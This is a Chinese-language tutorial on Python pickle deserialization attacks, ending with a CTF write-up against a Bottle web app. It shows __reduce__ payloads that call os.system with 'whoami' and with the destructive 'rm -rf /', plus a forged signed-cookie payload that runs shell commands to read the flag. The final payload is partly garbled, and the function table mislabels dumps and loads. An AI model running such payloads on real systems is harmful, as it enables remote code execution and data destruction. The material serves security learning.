共计 5322 个字符,预计需要花费 14 分钟才能阅读完成。

Python反序列化基础:
与PHP的序列化相同,Python的反序列化也是将类与对象转换成字符串进行数据的传输
在Python中主要用到Pickle库对实例进行序列化与反序列化操作
下面是一段示例代码
import pickle
import os
class dairy():
date = 20191029
text = "再学CTF我是狗"
todo = ['web狗', 'CTF', 'Rycarl']
today = dairy()
a=pickle.dumps(today)
print(a)

关于Pickle库:
- Pickle是python语言的一个标准模块,实现了基本的数据序列化和反序列化。
- Pickle模块是以二进制的形式序列化后保存到文件中(保存文件的后缀为
.pkl
),不能直接打开进行预览。
函数 | 说明 |
---|---|
dumps | 对象反序列化为bytes对象 |
dump | 对象反序列化到文件对象,存入文件 |
loads | 从bytes对象反序列化 |
load | 对象反序列化,从文件中读取数据 |
pickle.dumps就相当与PHP中的serialize()

Pickle函数除了可以对实例操作外对数组,字典,字符串也是可以进行序列化的
与PHP不同的是,你会发现Python序列化后的结果并没有之前我们所规定的属性

同样的我们进行反序列化后也不会有对应的属性

而实际开发的时候我们肯定需要带上类的属性,那么我们就需要用上__reduce__
这个魔术方法
与PHP中的__wakeup__
一样,__reduce__这个魔术方法会在反序列化之前进行告诉系统如何操作。
他的返回值第一个参数是函数名,第二个参数是一个tuple,为第一个函数的参数
与PHP不同的是,我们可以人为控制reduce函数的内容,这就为Pickle反序列化带来了更多的可能性
下面是示例代码
import pickle
class tmp():
text = "456"
def __init__(self, text):
self.text = text
def __reduce__(self):
return (tmp,("123",))
text = tmp('aa')
sertext = pickle.dumps(text)
print(sertext)
reltext = pickle.loads(sertext)
print(reltext.text)
输出结果:

我们可以看到最后print函数输出了123,而不是aa或者456
其中
- 类属性
text = "123"
__init__
方法:将实例的text
属性设置为传入的参数__reduce__
方法:返回一个元组(tmp, ("123",))
,这会控制序列化行为
reduce的执行是在__init__之后的,所以会覆盖一开始时传入的参数
如果我们删掉reduce方法
如:
import pickle
class tmp:
text = "123"
def __init__(self, text):
self.text = text
# 测试
text = tmp('aa')
sertext = pickle.dumps(text)
reltext = pickle.loads(sertext)
print(reltext.text)
这样就可以使传入的值变成实际的值
我们也可以将传入的值继续在reduce中使用,如:
import pickle
class tmp:
text = "123" #没用可删除
def __init__(self, text):
self.text = text
def __reduce__(self):
return (tmp, (self.text,))
# 测试
text = tmp('234')
sertext = pickle.dumps(text)
reltext = pickle.loads(sertext)
print(reltext.text)
了解了Pickle的基本知识,我们就来看看如何用pickle执行系统代码
import pickle
import os
class tmp():
text = "123"
def __reduce__(self):
return (os.system,("whoami",))
text = tmp()
sertext = pickle.dumps(text)
print(sertext)
reltext = pickle.loads(sertext)
print(reltext.text)

在这里我们__reduce__调用了os模块进行操作,下面的print函数报错是因为无法找到text属性的值,我们不用理会
为什么我们使用__reduce__
魔术方法而不是其他魔术方法来进行payload的构造呢?
1. __reduce__
是序列化协议的核心方法
pickle
模块在序列化对象时,会调用对象的__reduce__
方法(如果存在),该方法返回一个元组,用于告诉pickle
如何重建对象:
- 第一个元素是可调用对象(如函数、类等)。
- 第二个元素是调用该可调用对象的参数(元组形式)。
- 后续元素可选(如用于
__setstate__
的状态)。
攻击者可以利用这一点,在反序列化时执行任意代码。
import pickle
class Malicious:
def __reduce__(self):
# 返回要执行的函数和参数
return (os.system, ('rm -rf /', )) # 恶意命令
payload = pickle.dumps(Malicious())
pickle.loads(payload) # 反序列化时执行命令
2. 其他魔术方法的局限性
虽然Python对象有许多魔术方法(如__init__
、__new__
、__setstate__
等),但它们在反序列化过程中的行为受限:
-
__init__
和__new__
:
这些方法用于初始化对象,但无法直接执行外部系统命令。攻击者需要依赖类本身的行为,而pickle
默认不会通过这些方法执行任意代码。 -
__setstate__
:
该方法用于恢复对象的状态(通过__getstate__
保存的状态),但其输入是序列化时保存的状态,攻击者需要构造特定的状态数据,且执行能力有限。 -
__getattr__
、__getattribute__
等:
这些方法处理属性访问,不直接参与反序列化过程,因此难以利用。
3. __reduce__
的底层控制权
__reduce__
直接暴露了对象重建的底层逻辑:
- 直接指定可调用对象和参数:攻击者可以完全控制反序列化时执行的函数(如
os.system
、subprocess.call
等)。 - 绕过高层抽象:不需要依赖对象本身的逻辑,只需构造
__reduce__
返回的元组即可。
4. 漏洞利用的普适性
几乎所有Python类都可以被攻击者通过重写__reduce__
来构造恶意载荷,而其他魔术方法可能需要特定上下文(如依赖属性访问、状态管理等),因此__reduce__
成为最通用的攻击入口。
而且本人在学习中有一个误区,一直以为需要类中存在__reduce__魔术方法才行,实际测试下来其实并不需要,只需要我们反序列化的数据中存在__ruduce__就行,原代码是否存在并不重要

接下来我们看几道例题
1.XYCTF2025
这是题目的全部源码,有兴趣的师傅可以自己尝试一下
# -*- encoding: utf-8 -*-
'''
@File : main.py
@Time : 2025/03/28 22:20:49
@Author : LamentXU
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
try:
with open('../../secret.txt', 'r') as f:
secret = f.read()
except:
print("No secret file found, using default secret")
secret = "secret"
app = Bottle()
@route('/')
def index():
return '''HI'''
@route('/download')
def download():
name = request.query.filename
if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
response.status = 403
return 'Forbidden'
with open(name, 'rb') as f:
data = f.read()
return data
@route('/secret')
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"
run(host='0.0.0.0', port=5000, debug=False)
我们这里重点看反序列化这一块,前面我们通过任意文件读取拿到了secret
这里我们看到/secret路由是存在一个get_cookie的
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"
我们观察get_cookie的逻辑
def get_cookie(self, key, default=None, secret=None, digestmod=hashlib.sha256):
""" Return the content of a cookie. To read a `Signed Cookie`, the
`secret` must match the one used to create the cookie (see
:meth:`BaseResponse.set_cookie`). If anything goes wrong (missing
cookie or wrong signature), return a default value. """
value = self.cookies.get(key)
if secret:
# See BaseResponse.set_cookie for details on signed cookies.
if value and value.startswith('!') and '?' in value:
sig, msg = map(tob, value[1:].split('?', 1))
hash = hmac.new(tob(secret), msg, digestmod=digestmod).digest()
if _lscmp(sig, base64.b64encode(hash)):
dst = pickle.loads(base64.b64decode(msg))
if dst and dst[0] == key:
return dst[1]
return default
return value or default
可以看到是有个pickle.loads。那么很明显是要用到反序列化了
关于cookie的部分建议参考这篇文章:https://blog.csdn.net/Python1111111/article/details/147113678
最后的payload:
from bottle import Bottle, request, response,run, route
class cmd():
def reduce(self):
return (exec,(“import(‘os’).popen(‘cat /f*>/app/app/app.py’).read()”,))
c = cmd()
#session = {“name”:c}
response.set_cookie(“name”,c,secret=”Hell0_H@cker_Y0u_A3r_Sm@r7″)
print(response._cookies)
这里我们先简单理解一下程序会反序列化cookie里面的内容,如果想要深入需要看上面那篇博客,这里就不展开讲了